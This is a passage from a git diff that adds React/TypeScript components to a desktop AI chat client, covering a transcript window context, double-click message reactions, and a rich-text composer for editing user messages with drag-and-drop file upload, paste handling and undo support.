+export function TranscriptWindowProvider({ children, value }: { children: ReactNode; value: TranscriptWindowValue }) {
+  return <TranscriptWindowContext.Provider value={value}>{children}</TranscriptWindowContext.Provider>
+}
+
+export function useTranscriptWindow(): TranscriptWindowValue {
+  return useContext(TranscriptWindowContext)
+}
+
+/**
+ * "Show earlier" pages the DOM budget first and only then asks the store for
+ * more messages — the DOM page is already-materialized content, so spending it
+ * first keeps the click cheap and the store window as small as it can be.
+ */
+export function resolveShowEarlierAction(hiddenCount: number, olderAvailable: boolean): 'dom' | 'window' | null {
+  if (hiddenCount > 0) {
+    return 'dom'
+  }
+
+  return olderAvailable ? 'window' : null
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/types.ts b/ui-desktop/src/components/assistant-ui/thread/types.ts
new file mode 100644
index 000000000..0add8b5f8
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/types.ts
@@ -0,0 +1,4 @@
+export interface RestoreMessageTarget {
+  text: string
+  userOrdinal: number | null
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/use-message-reactions.ts b/ui-desktop/src/components/assistant-ui/thread/use-message-reactions.ts
new file mode 100644
index 000000000..84d01b110
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/use-message-reactions.ts
@@ -0,0 +1,146 @@
+import { useAuiState, useMessageRuntime } from '@assistant-ui/react'
+import { useStore } from '@nanostores/react'
+import { type MouseEvent, useCallback } from 'react'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+import { triggerHaptic } from '@/lib/haptics'
+import { QUICK_REACTIONS, toggleMessageReaction } from '@/store/reactions'
+import { $reactionsEnabled } from '@/store/reactions-enabled'
+import { $agentReactions, $localReactions, mergeReactions, setLocalReaction } from '@/store/reactions-local'
+import type { MessageReaction } from '@/types/clawcodex'
+
+// Stable empty identity — a fresh [] per render would re-run every consumer.
+const EMPTY_REACTIONS: MessageReaction[] = []
+
+/** The tapback a double-click lands: Apple's first Tapback, and ours. */
+export const DOUBLE_CLICK_REACTION = QUICK_REACTIONS[0]
+
+// Double-click means something else on these: links and controls act, inputs
+// and code blocks select. The gesture only claims plain message body.
+const NOT_A_TAPBACK = 'a, button, input, pre, select, textarea, [contenteditable="true"], [role="button"]'
+
+/**
+ * Is this double-click the "heart it" gesture?
+ *
+ * `detail === 2` keeps a triple-click (select-the-paragraph) from re-firing,
+ * and anything the browser already gives a double-click meaning keeps it.
+ */
+export function isTapbackDoubleClick(event: { detail: number; target: EventTarget | null }): boolean {
+  if (event.detail !== 2) {
+    return false
+  }
+
+  const target = event.target
+
+  return target instanceof Element ? !target.closest(NOT_A_TAPBACK) : true
+}
+
+/** Paint the tapback locally, then persist behind it. */
+function commitReaction(
+  messageId: string,
+  role: ChatMessage['role'],
+  rowId: number | undefined,
+  reactions: MessageReaction[],
+  emoji: null | string
+): void {
+  // Flip the UI immediately — a tapback is direct manipulation and must never
+  // wait on a round-trip. Persistence follows in the background.
+  setLocalReaction(messageId, emoji)
+  void toggleMessageReaction({ id: messageId, role, rowId, reactions } as ChatMessage, emoji)
+}
+
+/**
+ * A message's reactions and the one way to change them.
+ *
+ * Reads the durable list off `metadata.custom`, layers this window's live
+ * overlays on top (the user's own click, the agent's mid-turn event), and
+ * hands back a `react` that paints locally first and persists behind it.
+ * Shared by the assistant footer slot, the user bubble's picker, and the
+ * double-click gesture so all three apply identical tapback semantics.
+ */
+export function useMessageReactions(
+  messageId: string,
+  role: ChatMessage['role']
+): {
+  enabled: boolean
+  react: (emoji: null | string) => void
+  reactions: MessageReaction[]
+} {
+  const reactions = useAuiState(s => {
+    const custom = (s.message.metadata?.custom ?? {}) as { reactions?: MessageReaction[] }
+
+    return custom.reactions ?? EMPTY_REACTIONS
+  })
+
+  const rowId = useAuiState(s => {
+    const custom = (s.message.metadata?.custom ?? {}) as { rowId?: number }
+
+    return custom.rowId
+  })
+
+  const enabled = useStore($reactionsEnabled)
+  const localAll = useStore($localReactions)
+  const agentLive = useStore($agentReactions)
+
+  return {
+    enabled,
+    react: useCallback(
+      (emoji: null | string) => commitReaction(messageId, role, rowId, reactions, emoji),
+      [messageId, reactions, role, rowId]
+    ),
+    reactions: mergeReactions(reactions, localAll[messageId], rowId === undefined ? undefined : agentLive[rowId])
+  }
+}
+
+/**
+ * Double-click a message to heart it — the iMessage gesture.
+ *
+ * Reads the message's reaction state lazily at event time (the same trick the
+ * footer uses for its text): the gesture renders nothing, so subscribing the
+ * perf-sensitive message root to every reaction change would be pure cost.
+ * Returns `undefined` while reactions are off, so the element carries no
+ * listener at all.
+ */
+export function useTapbackDoubleClick(
+  messageId: string,
+  role: ChatMessage['role']
+): ((event: MouseEvent<HTMLElement>) => void) | undefined {
+  const enabled = useStore($reactionsEnabled)
+  const messageRuntime = useMessageRuntime()
+
+  const onDoubleClick = useCallback(
+    (event: MouseEvent<HTMLElement>) => {
+      if (!isTapbackDoubleClick(event)) {
+        return
+      }
+
+      // Double-click has already selected the word underneath — the tapback,
+      // not a stray selection, is what the gesture meant.
+      window.getSelection()?.removeAllRanges()
+      triggerHaptic('selection')
+
+      const custom = (messageRuntime.getState().metadata?.custom ?? {}) as {
+        reactions?: MessageReaction[]
+        rowId?: number
+      }
+
+      const reactions = custom.reactions ?? EMPTY_REACTIONS
+
+      // Same toggle semantics as the picker: a second double-click retracts.
+      const mine = mergeReactions(reactions, $localReactions.get()[messageId]).find(
+        reaction => reaction.author === 'user'
+      )
+
+      commitReaction(
+        messageId,
+        role,
+        custom.rowId,
+        reactions,
+        mine?.emoji === DOUBLE_CLICK_REACTION ? null : DOUBLE_CLICK_REACTION
+      )
+    },
+    [messageId, messageRuntime, role]
+  )
+
+  return enabled ? onDoubleClick : undefined
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/user-edit-composer.tsx b/ui-desktop/src/components/assistant-ui/thread/user-edit-composer.tsx
new file mode 100644
index 000000000..36ce283d3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/user-edit-composer.tsx
@@ -0,0 +1,852 @@
+import type { Unstable_TriggerAdapter, Unstable_TriggerItem } from '@assistant-ui/core'
+import { ComposerPrimitive, useAui, useAuiState } from '@assistant-ui/react'
+import {
+  type ClipboardEvent,
+  type FC,
+  type FocusEvent,
+  type FormEvent,
+  type KeyboardEvent,
+  type DragEvent as ReactDragEvent,
+  useCallback,
+  useEffect,
+  useRef,
+  useState
+} from 'react'
+
+import { ComposerDirectiveActions } from '@/app/chat/composer/directive-actions'
+import { COMPOSER_DROP_ACTIVE_CLASS, COMPOSER_DROP_FADE_CLASS } from '@/app/chat/composer/drop-affordance'
+import {
+  type ComposerInsertMode,
+  focusComposerInput,
+  markActiveComposer,
+  onComposerFocusRequest,
+  onComposerInsertRequest,
+  releaseActiveComposer
+} from '@/app/chat/composer/focus'
+import { useAtCompletions } from '@/app/chat/composer/hooks/use-at-completions'
+import { rebuildAroundCaret } from '@/app/chat/composer/hooks/use-composer-trigger'
+import { useComposerUndo } from '@/app/chat/composer/hooks/use-composer-undo'
+import { useEmojiCompletions } from '@/app/chat/composer/hooks/use-emoji-completions'
+import { useSlashCompletions } from '@/app/chat/composer/hooks/use-slash-completions'
+import {
+  dragHasAttachments,
+  droppedFileInlineRefs,
+  type InlineRefInput,
+  insertInlineRefsIntoEditor
+} from '@/app/chat/composer/inline-refs'
+import { chipTypedPathOnSpace, pathifyRefs } from '@/app/chat/composer/path-refs'
+import {
+  composerPlainText,
+  insertComposerContentsAtCaret,
+  placeCaretEnd,
+  refChipElement,
+  renderComposerContents,
+  replaceBeforeCaret,
+  RICH_INPUT_SLOT
+} from '@/app/chat/composer/rich-editor'
+import { detectTrigger, openDirectiveScope, textBeforeCaret, type TriggerState } from '@/app/chat/composer/text-utils'
+import { ComposerTriggerPopover } from '@/app/chat/composer/trigger-popover'
+import { isRedoShortcut, isUndoShortcut } from '@/app/chat/composer/undo-history'
+import { chipTypedUrlOnSpace, linkifyUrls } from '@/app/chat/composer/url-refs'
+import {
+  CLAWCODEX_PATHS_MIME,
+  extractDroppedFiles,
+  isImagePath,
+  partitionDroppedFiles
+} from '@/app/chat/hooks/use-composer-actions'
+import { uploadComposerAttachment } from '@/app/session/hooks/use-prompt-actions'
+import type { ClawCodexGateway } from '@/clawcodex'
+import { clawcodexDirectiveFormatter } from '@/components/assistant-ui/directive-text'
+import {
+  StickyHumanMessageContainer,
+  StopGlyph,
+  USER_ACTION_ICON_BUTTON_CLASS,
+  USER_ACTION_ICON_SIZE,
+  USER_BUBBLE_BASE_CLASS
+} from '@/components/assistant-ui/thread/user-message'
+import { Codicon } from '@/components/ui/codicon'
+import { useI18n } from '@/i18n'
+import { attachmentDisplayText, attachmentId, pathLabel } from '@/lib/chat-runtime'
+import { sanitizeComposerInput } from '@/lib/composer-input-sanitize'
+import { DATA_IMAGE_URL_RE } from '@/lib/embedded-images'
+import { triggerHaptic } from '@/lib/haptics'
+import { Loader2Icon } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import type { ComposerAttachment } from '@/store/composer'
+import { notifyError } from '@/store/notifications'
+import { $connection } from '@/store/session'
+import { notifyThreadEditClose } from '@/store/thread-scroll'
+
+interface UserEditComposerProps {
+  cwd: string | null
+  gateway: ClawCodexGateway | null
+  sessionId: string | null
+}
+
+export const UserEditComposer: FC<UserEditComposerProps> = ({ cwd, gateway, sessionId }) => {
+  const { t } = useI18n()
+  const copy = t.assistant.thread
+  const aui = useAui()
+  const draft = useAuiState(s => s.composer.text)
+  const rootRef = useRef<HTMLDivElement | null>(null)
+  const editorRef = useRef<HTMLDivElement | null>(null)
+  // Capture the original draft immediately before the first edit. The runtime
+  // may hydrate composer.text after this component's first render, so taking a
+  // mount-time snapshot can incorrectly classify every later blur as dirty.
+  const initialDraftRef = useRef<string | null>(null)
+  const draftRef = useRef(draft)
+  const dragDepthRef = useRef(0)
+  const [dragActive, setDragActive] = useState(false)
+  const [trigger, setTrigger] = useState<TriggerState | null>(null)
+  const [triggerActive, setTriggerActive] = useState(0)
+  const [triggerItems, setTriggerItems] = useState<readonly Unstable_TriggerItem[]>([])
+  // See index.tsx: set in keydown when the open popover consumes a nav/control
+  // key so the matching keyup skips refreshTrigger (timing-immune vs reading
+  // `trigger`, which keyup sees as already-null after Escape).
+  const triggerKeyConsumedRef = useRef(false)
+  const [triggerPlacement, setTriggerPlacement] = useState<'bottom' | 'top'>('top')
+  const [focusRequestId, setFocusRequestId] = useState(0)
+  const [submitting, setSubmitting] = useState(false)
+  // True while OS-drop files are being staged/uploaded into the session. Blocks
+  // submit and shows a spinner so confirming the edit can't race the async
+  // upload and drop the gateway-side ref before it lands in the draft.
+  const [staging, setStaging] = useState(false)
+  const expanded = draft.includes('\n')
+  const canSubmit = draft.trim().length > 0
+  const at = useAtCompletions({ cwd, gateway, sessionId })
+  const slash = useSlashCompletions({ gateway })
+  const emoji = useEmojiCompletions()
+
+  // This is the one composer that routinely unmounts, so it is where the focus
+  // bus leaks: confirming or cancelling an edit tears the composer down while
+  // `'edit'` is still the active target. Release it alongside the thread-scroll
+  // cleanup so keyboard routing falls back to the visible chat composer.
+  useEffect(
+    () => () => {
+      notifyThreadEditClose()
+      releaseActiveComposer('edit')
+    },
+    []
+  )
+
+  const focusEditor = useCallback(() => {
+    const editor = editorRef.current
+
+    focusComposerInput(editor)
+
+    if (editor) {
+      placeCaretEnd(editor)
+    }
+
+    markActiveComposer('edit')
+  }, [])
+
+  const requestEditFocus = useCallback(() => {
+    setFocusRequestId(id => id + 1)
+  }, [])
+
+  const rememberInitialDraft = useCallback(() => {
+    if (initialDraftRef.current === null) {
+      initialDraftRef.current = draftRef.current
+    }
+  }, [])
+
+  const appendExternalText = useCallback(
+    (text: string, mode: ComposerInsertMode) => {
+      const value = text.trim()
+
+      if (!value) {
+        return
+      }
+
+      rememberInitialDraft()
+      const base = mode === 'inline' ? draftRef.current.trimEnd() : draftRef.current
+      const sep = mode === 'inline' ? (base ? ' ' : '') : base && !base.endsWith('\n') ? '\n\n' : ''
+      const next = `${base}${sep}${value}`
+
+      draftRef.current = next
+      aui.composer().setText(next)
+
+      const editor = editorRef.current
+
+      if (editor) {
+        renderComposerContents(editor, next, { trailingCommitted: true })
+        placeCaretEnd(editor)
+      }
+
+      setFocusRequestId(id => id + 1)
+    },
+    [aui, rememberInitialDraft]
+  )
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    draftRef.current = draft
+
+    const editor = editorRef.current
+
+    if (
+      editor &&
+      (editor.childNodes.length === 0 || (document.activeElement !== editor && composerPlainText(editor) !== draft))
+    ) {
+      // Inert by construction — this repaints on mount or when the editor
+      // isn't the one being typed into. A message opened for edit is finished
+      // text, so a `/command` ending it is committed and chips, matching how
+      // the transcript rendered that same message a moment ago.
+      renderComposerContents(editor, draft, { trailingCommitted: true })
+
+      if (document.activeElement === editor) {
+        placeCaretEnd(editor)
+      }
+    }
+  }, [draft])
+
+  useEffect(() => {
+    focusEditor()
+  }, [focusEditor, focusRequestId])
+
+  useEffect(() => {
+    const offFocus = onComposerFocusRequest(({ target }) => {
+      if (target === 'edit') {
+        setFocusRequestId(id => id + 1)
+      }
+    })
+
+    const offInsert = onComposerInsertRequest(({ mode, target, text }) => {
+      if (target === 'edit') {
+        appendExternalText(text, mode)
+      }
+    })
+
+    return () => {
+      offFocus()
+      offInsert()
+    }
+  }, [appendExternalText])
+
+  const syncDraftFromEditor = useCallback(
+    (editor: HTMLDivElement) => {
+      const nextDraft = sanitizeComposerInput(composerPlainText(editor))
+
+      if (nextDraft !== draftRef.current) {
+        draftRef.current = nextDraft
+        aui.composer().setText(nextDraft)
+      }
+
+      return nextDraft
+    },
+    [aui]
+  )
+
+  // Same stack the main composer owns, for the same reason: the editor mutates
+  // through `Range` to dodge Chromium's O(n²) editing pipeline, which also
+  // dodges its undo stack, so a paste was invisible to Cmd+Z. `rememberInitialDraft`
+  // already marks every mutation site (it's the dirty-edit guard), so the undo
+  // points ride along with it.
+  const syncFromEditorRef = useCallback(() => {
+    const editor = editorRef.current
+
+    return editor ? syncDraftFromEditor(editor) : draftRef.current
+  }, [syncDraftFromEditor])
+
+  const { recordUndoPoint, redo, undo, withUndoPoint } = useComposerUndo({
+    editorRef,
+    syncDraftFromEditor: syncFromEditorRef
+  })
+
+  const refreshTrigger = useCallback(() => {
+    const editor = editorRef.current
+
+    if (!editor) {
+      return
+    }
+
+    const before = textBeforeCaret(editor)
+    const detected = detectTrigger(before ?? composerPlainText(editor))
+
+    if (detected) {
+      const rect = editor.getBoundingClientRect()
+      const spaceAbove = rect.top
+      const spaceBelow = window.innerHeight - rect.bottom
+
+      setTriggerPlacement(spaceAbove < 220 && spaceBelow > spaceAbove ? 'bottom' : 'top')
+    }
+
+    setTrigger(detected)
+
+    // Only reset the highlight when the trigger actually changed (opened, or
+    // the query/kind differs). Re-detecting the *same* trigger — e.g. on a
+    // caret move (mouseup) or a stray refresh — must preserve the user's
+    // current selection instead of snapping back to the first item.
+    if (detected?.kind !== trigger?.kind || detected?.query !== trigger?.query) {
+      setTriggerActive(0)
+    }
+  }, [trigger])
+
+  const closeTrigger = useCallback(() => {
+    setTrigger(null)
+    setTriggerItems([])
+    setTriggerActive(0)
+  }, [])
+
+  const triggerAdapter: Unstable_TriggerAdapter | null =
+    trigger?.kind === '@'
+      ? at.adapter
+      : trigger?.kind === '/'
+        ? slash.adapter
+        : trigger?.kind === ':'
+          ? emoji.adapter
+          : null
+
+  useEffect(() => {
+    if (!trigger || !triggerAdapter?.search) {
+      setTriggerItems([])
+
+      return
+    }
+
+    setTriggerItems(triggerAdapter.search(trigger.query))
+  }, [trigger, triggerAdapter])
+
+  useEffect(() => {
+    setTriggerActive(idx => Math.min(idx, Math.max(0, triggerItems.length - 1)))
+  }, [triggerItems.length])
+
+  const triggerLoading =
+    trigger?.kind === '@'
+      ? at.loading
+      : trigger?.kind === '/'
+        ? slash.loading
+        : trigger?.kind === ':'
+          ? emoji.loading
+          : false
+
+  const replaceTriggerWithChip = useCallback(
+    (item: Unstable_TriggerItem) => {
+      const editor = editorRef.current
+
+      if (!editor || !trigger) {
+        return
+      }
+
+      rememberInitialDraft()
+      recordUndoPoint()
+      const serialized = clawcodexDirectiveFormatter.serialize(item)
+      const starter = serialized.endsWith(':')
+      const text = starter || serialized.endsWith(' ') ? serialized : `${serialized} `
+      const directive = !starter && serialized.match(/^@([^:]+):(.+)$/)
+
+      const finish = () => {
+        draftRef.current = composerPlainText(editor)
+        aui.composer().setText(draftRef.current)
+        requestEditFocus()
+        starter ? window.setTimeout(refreshTrigger, 0) : closeTrigger()
+      }
+
+      // In place first, spanning Chromium's split text nodes (see
+      // rangeBeforeCaret). The re-render fallback only runs when the caret
+      // genuinely can't anchor the token — it rebuilds from serialized text,
+      // which re-chips `@` refs but resets the caret to the end.
+      const fragment = document.createDocumentFragment()
+
+      directive
+        ? fragment.append(refChipElement(directive[1], directive[2]), document.createTextNode(' '))
+        : fragment.append(document.createTextNode(text))
+
+      if (!replaceBeforeCaret(editor, trigger.tokenLength, fragment)) {
+        rebuildAroundCaret(editor, trigger.tokenLength, text)
+      }
+
+      finish()
+    },
+    [aui, closeTrigger, recordUndoPoint, refreshTrigger, rememberInitialDraft, requestEditFocus, trigger]
+  )
+
+  const insertRefStrings = useCallback(
+    (refs: InlineRefInput[]) => {
+      const editor = editorRef.current
+
+      if (!editor || refs.length === 0) {
+        return false
+      }
+
+      // Bank BEFORE the insert — insertInlineRefsIntoEditor mutates in place, so
+      // recording after it would snapshot the state we're trying to undo to.
+      const undone = withUndoPoint(() => insertInlineRefsIntoEditor(editor, refs) !== null)
+
+      if (!undone) {
+        return false
+      }
+
+      rememberInitialDraft()
+      const nextDraft = composerPlainText(editor)
+      draftRef.current = nextDraft
+      aui.composer().setText(nextDraft)
+      requestEditFocus()
+
+      return true
+    },
+    [aui, rememberInitialDraft, requestEditFocus, withUndoPoint]
+  )
+
+  const insertDroppedRefs = useCallback(
+    (candidates: ReturnType<typeof extractDroppedFiles>) => insertRefStrings(droppedFileInlineRefs(candidates, cwd)),
+    [cwd, insertRefStrings]
+  )
+
+  // OS/Finder drops carry an absolute path on THIS machine — the gateway can't
+  // read it in remote mode, and an image needs its bytes uploaded for vision.
+  // Stage each through the same file.attach/image.attach_bytes pipeline the main
+  // composer uses, then insert the *gateway-side* ref the agent can resolve —
+  // never the raw local path (the MahmoudR remote-attach bug, which the main
+  // composer fixes but this edit composer used to reproduce).
+  const uploadOsDropRefs = useCallback(
+    async (osDrops: ReturnType<typeof extractDroppedFiles>): Promise<InlineRefInput[]> => {
+      if (!gateway || !sessionId) {
+        // No session to stage into — best-effort inline refs (matches old path).
+        return droppedFileInlineRefs(osDrops, cwd)
+      }
+
+      const remote = $connection.get()?.mode === 'remote'
+
+      const requestGateway = <T,>(method: string, params?: Record<string, unknown>) =>
+        gateway.request<T>(method, params)
+
+      const refs: InlineRefInput[] = []
+
+      for (const candidate of osDrops) {
+        const path = candidate.path || ''
+
+        if (!path) {
+          continue
+        }
+
+        const kind: ComposerAttachment['kind'] =
+          candidate.file?.type.startsWith('image/') || isImagePath(candidate.file?.name || path) ? 'image' : 'file'
+
+        try {
+          const uploaded = await uploadComposerAttachment(
+            { detail: path, id: attachmentId(kind, path), kind, label: pathLabel(path), path },
+            { backendCwd: cwd, remote, requestGateway, sessionId }
+          )
+
+          const ref = attachmentDisplayText(uploaded)
+
+          if (ref) {
+            refs.push(ref)
+          }
+        } catch (err) {
+          notifyError(err, t.desktop.dropFiles)
+        }
+      }
+
+      return refs
+    },
+    [cwd, gateway, sessionId, t.desktop.dropFiles]
+  )
+
+  const resetDragState = useCallback(() => {
+    dragDepthRef.current = 0
+    setDragActive(false)
+  }, [])
+
+  const handleDragEnter = (event: ReactDragEvent<HTMLElement>) => {
+    if (!dragHasAttachments(event.dataTransfer, CLAWCODEX_PATHS_MIME)) {
+      return
+    }
+
+    event.preventDefault()
+    dragDepthRef.current += 1
+
+    if (!dragActive) {
+      setDragActive(true)
+    }
+  }
+
+  const handleDragOver = (event: ReactDragEvent<HTMLElement>) => {
+    if (!dragHasAttachments(event.dataTransfer, CLAWCODEX_PATHS_MIME)) {
+      return
+    }
+
+    event.preventDefault()
+    event.dataTransfer.dropEffect = 'copy'
+  }
+
+  const handleDragLeave = (event: ReactDragEvent<HTMLElement>) => {
+    event.preventDefault()
+    dragDepthRef.current = Math.max(0, dragDepthRef.current - 1)
+
+    if (dragDepthRef.current === 0) {
+      setDragActive(false)
+    }
+  }
+
+  const handleDrop = (event: ReactDragEvent<HTMLElement>) => {
+    if (!dragHasAttachments(event.dataTransfer, CLAWCODEX_PATHS_MIME)) {
+      return
+    }
+
+    const candidates = extractDroppedFiles(event.dataTransfer)
+
+    if (!candidates.length) {
+      return
+    }
+
+    event.preventDefault()
+    event.stopPropagation()
+    resetDragState()
+
+    // In-app drags (project tree / gutter) are workspace-relative paths that
+    // resolve on the gateway as-is, so they stay inline refs. OS drops need to
+    // be staged + uploaded first, then their gateway-side ref is inserted.
+    const { inAppRefs, osDrops } = partitionDroppedFiles(candidates)
+
+    if (insertDroppedRefs(inAppRefs)) {
+      triggerHaptic('selection')
+    }
+
+    if (osDrops.length) {
+      setStaging(true)
+      void uploadOsDropRefs(osDrops)
+        .then(refs => {
+          if (insertRefStrings(refs)) {
+            triggerHaptic('selection')
+          }
+        })
+        .finally(() => setStaging(false))
+    }
+  }
+
+  const handleInput = (event: FormEvent<HTMLDivElement>) => {
+    const editor = event.currentTarget
+
+    if (editor.childNodes.length === 1 && editor.firstChild?.nodeName === 'BR') {
+      editor.replaceChildren()
+    }
+
+    rememberInitialDraft()
+    syncDraftFromEditor(editor)
+    window.setTimeout(refreshTrigger, 0)
+  }
+
+  // Native typing/deleting still goes through Chromium's editing pipeline, whose
+  // undo stack we've taken over — bank the pre-edit state here, while
+  // `beforeinput` can still see the old text.
+  const handleBeforeInput = (event: FormEvent<HTMLDivElement>) => {
+    const inputType = (event.nativeEvent as InputEvent).inputType
+
+    if (inputType === 'historyUndo' || inputType === 'historyRedo') {
+      return
+    }
+
+    recordUndoPoint({ coalesce: inputType === 'insertText' || inputType === 'deleteContentBackward' })
+  }
+
+  const handlePaste = (event: ClipboardEvent<HTMLDivElement>) => {
+    const pastedText = sanitizeComposerInput(event.clipboardData.getData('text'))
+
+    if (!pastedText || DATA_IMAGE_URL_RE.test(pastedText.trim())) {
+      event.preventDefault()
+
+      return
+    }
+
+    event.preventDefault()
+    rememberInitialDraft()
+    recordUndoPoint()
+
+    // Links land as `@url:` chips, same as the main composer — including
+    // consuming an open `@url:` scope rather than stacking a second directive
+    // in front of the chip.
+    insertComposerContentsAtCaret(
+      event.currentTarget,
+      pathifyRefs(linkifyUrls(pastedText)),
+      openDirectiveScope(event.currentTarget)
+    )
+    syncDraftFromEditor(event.currentTarget)
+  }
+
+  const submitEdit = (editor: HTMLDivElement) => {
+    const nextDraft = syncDraftFromEditor(editor)
+
+    if (submitting || staging || !nextDraft.trim()) {
+      return
+    }
+
+    setSubmitting(true)
+
+    // `aui.composer().send()` throws "Composer is not available" when the edit
+    // composer core has been torn down (e.g. a blur-driven cancel raced the
+    // click). Reset `submitting` on failure so the arrow can't wedge on `true`
+    // and leave revert as the only way out (#49903 is the same unguarded-core
+    // hazard on the main composer).
+    try {
+      aui.composer().send()
+    } catch {
+      setSubmitting(false)
+    }
+  }
+
+  const handleEditBlur = useCallback(
+    (event: FocusEvent<HTMLDivElement>) => {
+      const nextTarget = event.relatedTarget
+
+      if (nextTarget instanceof Node && event.currentTarget.contains(nextTarget)) {
+        return
+      }
+
+      window.setTimeout(() => {
+        const root = rootRef.current
+        const active = document.activeElement
+
+        if (submitting || (root && active && root.contains(active))) {
+          return
+        }
+
+        const editor = editorRef.current
+
+        // Dirty edit guard: when the user actually typed something, blur must
+        // not cancel the composer — that would discard their in-flight
+        // edits. Compare against the draft captured immediately before the
+        // first edit; when no edit event occurred, the current hydrated draft
+        // is the clean baseline.
+        const initialDraft = initialDraftRef.current ?? draftRef.current
+
+        if (editor && syncDraftFromEditor(editor) !== initialDraft) {
+          closeTrigger()
+
+          return
+        }
+
+        closeTrigger()
+
+        // Swallow the unbound-core throw: if the composer core was already torn
+        // down (a send/cancel raced this timer), cancel() throws "Composer is
+        // not available" as an uncaught renderer error. Nothing to cancel then.
+        try {
+          aui.composer().cancel()
+        } catch {
+          // Composer core already gone — the edit is closing anyway.
+        }
+      }, 80)
+    },
+    [aui, closeTrigger, submitting, syncDraftFromEditor]
+  )
+
+  const handleKeyDown = (event: KeyboardEvent<HTMLDivElement>) => {
+    if (trigger && triggerItems.length > 0) {
+      if (event.key === 'ArrowDown') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        setTriggerActive(idx => (idx + 1) % triggerItems.length)
+
+        return
+      }
+
+      if (event.key === 'ArrowUp') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        setTriggerActive(idx => (idx - 1 + triggerItems.length) % triggerItems.length)
+
+        return
+      }
+
+      if (event.key === 'Enter' || event.key === 'Tab') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        const item = triggerItems[triggerActive]
+
+        if (item) {
+          replaceTriggerWithChip(item)
+        }
+
+        return
+      }
+
+      if (event.key === 'Escape') {
+        event.preventDefault()
+        triggerKeyConsumedRef.current = true
+        closeTrigger()
+
+        return
+      }
+    }
+
+    // Undo/redo before Escape — we own the stack, and a stray Cmd+Z must never
+    // fall through to something that cancels the edit outright.
+    if (isUndoShortcut(event.nativeEvent)) {
+      event.preventDefault()
+      undo()
+
+      return
+    }
+
+    if (isRedoShortcut(event.nativeEvent)) {
+      event.preventDefault()
+      redo()
+
+      return
+    }
+
+    if (event.key === 'Escape') {
+      event.preventDefault()
+      aui.composer().cancel()
+
+      return
+    }
+
+    // A typed link finished with a space chips like a pasted one.
+    if (withUndoPoint(() => chipTypedUrlOnSpace(event))) {
+      event.preventDefault()
+      rememberInitialDraft()
+      syncDraftFromEditor(event.currentTarget)
+
+      return
+    }
+
+    // Same for a bare `@path`.
+    if (withUndoPoint(() => chipTypedPathOnSpace(event))) {
+      event.preventDefault()
+      rememberInitialDraft()
+      syncDraftFromEditor(event.currentTarget)
+
+      return
+    }
+
+    if (event.key === 'Enter' && !event.shiftKey) {
+      event.preventDefault()
+      submitEdit(event.currentTarget)
+    }
+  }
+
+  const handleKeyUp = () => {
+    // If this keyup belongs to a key the open trigger popover already consumed
+    // in keydown (Arrow/Enter/Tab/Escape), skip the refresh. Those keys never
+    // edit text, and for Escape the keydown already closed the menu — a refresh
+    // here would re-detect the still-present `/` and instantly reopen it. We
+    // read a ref set during keydown rather than `trigger`, because by keyup
+    // time React has re-rendered and `trigger` may already be null.
+    if (triggerKeyConsumedRef.current) {
+      triggerKeyConsumedRef.current = false
+
+      return
+    }
+
+    window.setTimeout(refreshTrigger, 0)
+  }
+
+  return (
+    <ComposerPrimitive.Root className="contents" data-slot="aui_edit-composer-root">
+      <StickyHumanMessageContainer>
+        <div
+          className="composer-human-message-container human-execution-message-top relative flex w-full items-start rounded-md bg-(--ui-chat-surface-background)"
+          onBlur={handleEditBlur}
+          onDragEnter={handleDragEnter}
+          onDragLeave={handleDragLeave}
+          onDragOver={handleDragOver}
+          onDrop={handleDrop}
+          ref={rootRef}
+        >
+          {trigger && (
+            <ComposerTriggerPopover
+              activeIndex={triggerActive}
+              items={triggerItems}
+              kind={trigger.kind}
+              loading={triggerLoading}
+              onHover={setTriggerActive}
+              onPick={replaceTriggerWithChip}
+              placement={triggerPlacement}
+            />
+          )}
+          <div
+            className={cn(
+              USER_BUBBLE_BASE_CLASS,
+              'ui-prompt-input__container relative border-(--ui-stroke-secondary) data-[expanded=true]:min-h-20',
+              COMPOSER_DROP_FADE_CLASS,
+              dragActive && COMPOSER_DROP_ACTIVE_CLASS
+            )}
+            data-expanded={expanded ? 'true' : undefined}
+          >
+            <div
+              aria-label={copy.editMessage}
+              autoCapitalize="off"
+              autoCorrect="off"
+              className={cn(
+                'ui-prompt-input-editor__input max-h-48 w-full resize-none bg-transparent p-0 pr-7 text-[length:var(--conversation-text-font-size)] text-foreground/95 outline-none',
+                '**:data-ref-text:cursor-default',
+                expanded ? 'min-h-16' : 'min-h-[1.25rem]'
+              )}
+              contentEditable
+              data-placeholder={copy.editMessage}
+              data-slot={RICH_INPUT_SLOT}
+              onBeforeInput={handleBeforeInput}
+              onBlur={() => window.setTimeout(closeTrigger, 80)}
+              onDragOver={handleDragOver}
+              onDrop={handleDrop}
+              onFocus={() => markActiveComposer('edit')}
+              onInput={handleInput}
+              onKeyDown={handleKeyDown}
+              onKeyUp={handleKeyUp}
+              onMouseUp={refreshTrigger}
+              onPaste={handlePaste}
+              ref={editorRef}
+              role="textbox"
+              spellCheck={false}
+              suppressContentEditableWarning
+            />
+            <ComposerDirectiveActions editorRef={editorRef} />
+            <ComposerPrimitive.Input
+              asChild
+              className="sr-only"
+              submitMode="ctrlEnter"
+              tabIndex={-1}
+              unstable_focusOnScrollToBottom={false}
+            >
+              <textarea
+                aria-hidden
+                autoCapitalize="off"
+                autoComplete="off"
+                autoCorrect="off"
+                className="sr-only"
+                spellCheck={false}
+                tabIndex={-1}
+              />
+            </ComposerPrimitive.Input>
+            {staging && (
+              <span
+                className="pointer-events-none absolute bottom-2 left-2 inline-flex items-center gap-1 rounded-full bg-background/80 px-1.5 py-0.5 text-[0.62rem] text-muted-foreground backdrop-blur-[1px]"
+                data-slot="aui_edit-staging"
+              >
+                <Loader2Icon className="size-3 animate-spin" />
+                {copy.attachingFile}
+              </span>
+            )}
+            <button
